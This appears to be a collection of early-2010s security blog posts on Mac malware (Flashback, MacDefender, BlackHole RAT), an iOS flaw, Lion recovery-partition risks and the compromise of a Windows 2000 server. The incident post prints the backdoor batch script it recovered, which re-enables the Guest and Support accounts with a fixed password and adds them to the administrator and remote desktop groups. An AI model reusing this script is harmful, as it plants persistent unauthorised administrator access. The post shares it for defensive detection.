There’s a piece of Mac malware, known as ‘Flashback’, that’s going around and takes advantage of a Java vulnerability in order to compromise and infect Macs online. Although the vulnerability isn’t Mac-specific, and was patched back in February, Apple has yet to distribute that update to everyone via Software Update, leaving everyone vulnerable.
Apparently the team behind this malware is quite efficient at updating it, and so they have been successful in spreading it around. Lion doesn’t come with Java by default, so unless you’ve manually installed it, you’re safe. If you have installed Java on Lion however, I don’t know yet whether Lion’s built-in anti-malware is being updated quickly enough to keep up with the new malware variants (although I highly doubt it).
If you are running Snow Leopard (or earlier), or Lion with a manually-installed Java, then the best thing to do is disable it. The majority of web users do not need Java on a regular basis. I recommend disabling Java system-wide by going to Applications > Utilities > Java Preferences and then unchecking all the checkboxes in the General tab. If you use Safari to browse, you can disable Java by going to Safari > Preferences > Security and unchecking ‘Enable Java‘.
Keep an eye out for an upcoming Java update from Apple.
[Updated] Seems all the talk about this has nudged Apple to act! They’ve released Java for OS X Lion 2012-001 and Java for Mac OS X 10.6 Update 7. F-Secure have released a free Flashback remover tool, and Apple have announced they are also working on software to detect and remove Flashback malware.
Security researcher Charlie Miller (@0xcharlie) has discovered a significant flaw in iOS which may allow a malicious app on the App Store to download and execute arbitrary unsigned code. What this means for iPhone, iPad and iPod Touch users is that installing a malicious app may allow an attacker to obtain shell access to your device, and download contacts or images.
Apple reviews every app submitted to the App Store, which has meant that iOS users have not had to worry about outright malware. Since this vulnerability allows the apps to fetch code remotely, they can perform actions not reviewed by the App Store staff. Charlie had submitted a proof-of-concept app that was approved (see video below), but has since been removed by Apple.
Charlie will be presenting the vulnerability in detail at the SysCan conference in Taiwan next week. Apple has already released a developer beta of iOS 5.0.1 which patches the recent iPad Smart Cover lock screen bypass, but I would not be at all surprised if they release another beta which includes a fix for this bug. Until then, be careful to only install apps from developers you trust.
[Update] Apple has kicked Charlie out of the Developer program. At first I felt that this was an extremely bad reaction on Apple’s part. That said, Apple is probably most upset that Charlie’s proof-of-concept app could have been installed by legitimate users. Regardless of Charlie’s intentions, this could constitute malware, and he should have removed the app as soon as he saw the flaw existed. The posting of his video above probably didn’t help matters either.
I recently came across a Windows 2000 server that was found to have been compromised. During the investigation, both the Guest and Support_388945a0 accounts were found to had been placed in the Administrators and Remote Desktop Users groups (as the server was internet facing). Things got interesting however, when we removed these accounts from those groups and disabled them both. After logging back in a short while later, both Guest and Support accounts had been re-enabled and put back into the Admins and RDP groups.
When going to check the Windows hosts file to make sure there weren’t any modifications made to it, the following suspicious files were found in %systemroot%\system32\drivers\etc\
After some analysis, none of these files were found to be inherently malicious, but are instead used by a malicious batch script to enable the Guest and Support accounts with a specific password, and add them to the Admins and RDP group. The 1.exe file, for example, is just a executable with account-management capabilities.
In C:\WINDOWS\Application Compatibility Scripts\Install\Template there was a batch script called “.bat” with the following contents:
@1 localgroup “Remote Desktop Users” SUPPORT_388945a0 /add
@1 localgroup “Remote Desktop Users” guest /add
@1 user guest QQqqaa123321
@1 user guest QQqqaa123321 /add
@1 localgroup administrators guest /add
@1 user guest /active:yes
@1 user SUPPORT_388945a0 QQqqaa123321
@1 user SUPPORT_388945a0 QQqqaa123321 /add
@1 localgroup administrators SUPPORT_388945a0 /add
@1 user SUPPORT_388945a0 /active:yes
At this point it’s fairly evident what’s going on, this bat script is being run periodically, and runs 1.exe to ensure that both the Guest and Support_338945a0 accounts are present, and in the Administrators and Remote Desktop Users groups. It also sets the password to both of those accounts to ‘QQqqaa123321′. If you find these files on your system, consider that server compromised. Remove the files and disable those accounts in the first instance, but a full rebuild is highly recommended to rule out the possibility of other backdoors or rootkits.
These types of batch scripts are not uncommon for backdoor trojans. However, I couldn’t find any references to this particular backdoor, so thought I would post about this in case anyone else searches for information about it. Note that at the time of writing, this batch script is not picked up by any anti-virus software.
With the release of Mac OS X 10.7 “Lion”, Apple is changing the way we’ll be doing system upgrades. Lion will only be available to Snow Leopard users electronically through the Mac App Store, and thus it will no longer be possible to purchase a physical install DVD. Before I go into the intended topic of this post, allow me to <rant> about how I’m not too keen on this decision. As a result, it’s no longer possible to install OSX on Macs that don’t have an internet connection (yes, these do exist!). Even for those who do, many don’t have very fast internet connections, or may have extremely low usage caps. I know that UK internet providers still offer entry-level packages 5Mbit lines and stupidly low 1-5 GB monthly limits. Lion is likely to be about 4GBs in size. Oh, you want to install OSX on more than one Mac? Suuure, just download the 4GB install package on each Mac.</rant> You get the point…
The real thing I wanted to talk about is Apple’s solution to system re-installation or recovery, and specifically the security implications thereof. Installing Lion will cause it to create a small ‘recovery’ partition on your primary drive, which is essentially a partition equivalent of an install DVD. If you have a problem with your main OSX partition, and need to run repair utilities or reinstall, you just boot from the recovery partition. Sounds really useful actually, as you don’t need to worry about having a DVD handy. But where this solution brings ease-of-use and convenience, it also brings some security risks.
Although Mac OS X is still largely unaffected by malware, the winds of change are indeed upon us, and it’s unrealistic to assume the Mac will remain virus-free forever. As viruses get more complex they find ever-improving ways of making themselves persistent on a system. There are countless examples of Master Boot Record viruses on Windows where the only sure-fire solution is to completely wipe the hard drive and reinstall from CD/DVD. Because once your system is infected, good security practice forces you to assume that any file or executable is compromised. So, how does this affect a bootable recovery partition? If I were a virus writer, I’d make pretty darn sure that I infect a core installer file on the recovery partition so that any installation will have my virus. The nice thing about DVDs is that even if you insert them into an infected computer, they can’t be changed, and so you have complete confidence (barring a very advanced/rare firmware virus) that wiping and reinstalling from DVD yields a fresh and clean install of your system. As a security professional, I don’t think I’ll be able to trust a recovery partition like that.
But wait, there’s more. Even if your computer is completely secure from remote attacks, the same goes for someone with physical access to your Mac. Now, as a disclaimer, I have to point out that anytime an attacker gets physical access to any computer it’s game over. Even if you use FileVault, I may not be able to log in to your computer (unless some kind of cold boot attack is still possible), but I can easily boot your computer from a USB stick (or remove your hard drive if you have a Firmware password), trojan your recovery partition and corrupt your primary boot partition (similar to an Evil Maid attack). What are you going to do? Reinstall Mac OS X from my trojaned recovery partition of course! It’s not like you have a choice.
Any system compromise can lead to the installation of a persistent backdoor for the lifetime of the recovery partition on that hard drive. I don’t want to sound overly critical; I am probably one of the most fervent Apple supporters you’ll ever meet (with good reasons too), but not to the extent it stops me from thinking about potential impacts. I appreciate that Apple is trying to make things easier for Joe User. Being able to download updates electronically is awesome, and I honestly believe many would take advantage of that (myself included), but users should be given the choice. Particularly in situations like this where not having a physical install medium can have an impact on both usability and security.
My guess (or maybe hope) is that if Apple is not going to sell install DVDs itself, we may be allowed to burn our own install DVDs after downloading Lion from the Mac App Store. Either way, it is fairly trivial to burn the Lion installer onto a DVD – but users shouldn’t have to (or sometimes can’t) resort to a hack like that. Take heed, Apple.
[Update 21/07/11] Ok, so Apple isn’t going to allow users to burn their own DVDs, but they have confirmed that Lion will be available on a mini USB drive in August (for $69).
Apple has released Security Update 2011-003 for Mac OS X 10.6 which updates the system’s built in ‘File Quarantine’ (aka. XProtect) mechanism to detect and remove OSX.MacDefender.A. More significantly, however, Apple has now enabled the ability for File Quarantine to receive daily updates to to its malware definition list, essentially giving Mac OS X a very simplistic built-in anti-virus. Now it’s just up to Apple to actually update the malware definitions list on a regular basis.
In System Preferences > Security > General, users can choose whether or not they want to “Automatically update safe downloads list”. I’m not sure “safe downloads list” is the best name for it however, as it doesn’t really help users understand what its purpose is. I highly recommend keeping this option checked. Note that the screenshot below is not a recommendation of what your preferences should look like, it’s merely highlighting the new option. For more into about configuring your Security settings check out Securing Leopard: Security, FileVault and Firewall (to be updated with this new setting shortly).
[Updated 01/06/2011] As I wholly expected, a new variant of MACDefender is already out in the wild that does not get detected by OSX’s File Quarantine. As File Quarantine is simply a blacklist of known malware, it does not have the ability to pick up on malware it doesn’t recognise. This will be a good test to see how quickly Apple responds and updates the File Quarantine definitions. If you installed the 2011-003 security update then your system is already set to check for new updates every 24 hours. Browse safe out there.
[Updated 02/06/2011] Apple has already updated the File Quarantine definitions for the latest MACDefender variant (OSX.MacDefender.C). Pretty good response time by Apple!
There’s been a lot of buzz recently about the sudden increase in Mac-specific malware cropping up so far this year. First people raved about the fairly tame and unthreatening BlackHole RAT trojan, then Mac users had to watch out for a slightly more crafty but avoidable MACDefender trojan, and now there’s news of a more advanced malware kit (Weyland-Yutani Bot) that has the ability to steal data entered into Firefox (Safari and Chrome currently unaffected, but expected to follow soon). AppleCare has reportedly been receiving a significant number of calls about the MACDefender trojan, and has issued a support document on how to deal with it.
Clearly some change is in the air, but exactly how does it affect normal Mac users? I for one actively look for Mac-based malware (eg. MACDefender), and have never stumbled across it by accident. Maybe I need to surf on the ‘dark side’ of the web more often. I just wanted to give my take on recent events and the state of Mac malware, and why I don’t think there’s any reason to be too worried just yet.
There have been widespread reports of people installing a trojan that masquerades as an anti-virus program dubbed MacDefender. When visiting a malicious or compromised website promoted by SEO (search engine) poisoning, some Mac OS X users using Safari are experiencing the automatic download of a disk image which then automatically mounts and launches an installer. Intego’s blog has a detailed report which shows that they’ve discovered instances of scareware, where the websites (ironically displaying a faux-Windows GUI) show a fake virus scan and inform the user that their computer is infected.
Note: The automatic mounting and execution of the installer can easily be prevented by unchecking the “Open ‘safe’ files after downloading” option in the Safari Preferences.
If the user installs it, the MacDefender app look very professionally done and is unlike any other OSX malware to date. It will periodically open porn sites, pop up warnings that the user’s computer is infected, and prompt them to purchase the MacDefender anti-virus software. The software purchase page is just a place to get the user’s credit card number, and no product is delivered.
For the most part this is a very low-risk trojan, and can easily be avoided by disabling the ‘safe files’ option, and not installing software that randomly appears on your computer. No website can arbitrarily scan your computer for malware, and if they tell you that you’re infected, they’re lying. If common sense and good security practice aren’t enough, you can install an anti-virus (eg. VirusBarrier or Sophos) that will pick up this trojan.
If you did accidentally install the trojan, it can be removed with the following steps:
- Open Activity Monitor (in /Applications/Utilities/), and find the MacDefender.app process in the list. If it’s there, select it and click ‘Quit Process’.
- Open System Preferences (in the Apple menu) and click on Accounts. Click on the Login Items tab for your user, and find MacDefender in the list. If it’s there, select it and remove it using the minus [-] button below the list.
- Delete MacDefender from your Applications folder.
[Update 5/5/11] There are reports of variants of the MACDefender trojan going around under the name “Mac Security” or “Mac Shield”. For the reversers, check out this reverse engineering of the MACDefender binary.
A ‘trojan’ targeting Mac OS X users, dubbed BlackHole RAT, appears to be in development. It’s a variant of a well-known series of malware called Remote Access Tools (RAT) that primarily targeted Windows. It should be noted that on its own, the trojan does not exploit OSX, instead relying on the user to unknowingly ‘install’ it. This is often done under the guise of pirated software, video plugins on porn sites, or from other non-reputable software sources. Although the details are not entirely clear, it appears like your computer needs to be directly accessible from the internet.
This ‘trojan’ (note the intended air quotes) has been blown out of proportion and does not pose a significant level of risk. Macs are not ‘less secure’ because of this tool, as it’s something that could be coded by any 14-year old with a relatively basic knowledge of programming. It’s essentially a normal application whose purpose is to accept connections from its owner, and allow them to perform actions on your computer, etc.
Hit the jump for the full details, a video and download link. Read more
The cables, which date from 1966 up until the end of February this year, contain confidential communications between 274 embassies in countries throughout the world and the State Department in Washington DC. 15,652 of the cables are classified Secret.
The embassy cables will be released in stages over the next few months. The subject matter of these cables is of such importance, and the geographical spread so broad, that to do otherwise would not do this material justice.
The cables show the extent of US spying on its allies and the UN; turning a blind eye to corruption and human rights abuse in “client states”; backroom deals with supposedly neutral countries; lobbying for US corporations; and the measures US diplomats take to advance those who have access to them.
One cable reveals that China’s Politbureau was responsible for the attacks against Google China back in January 2010.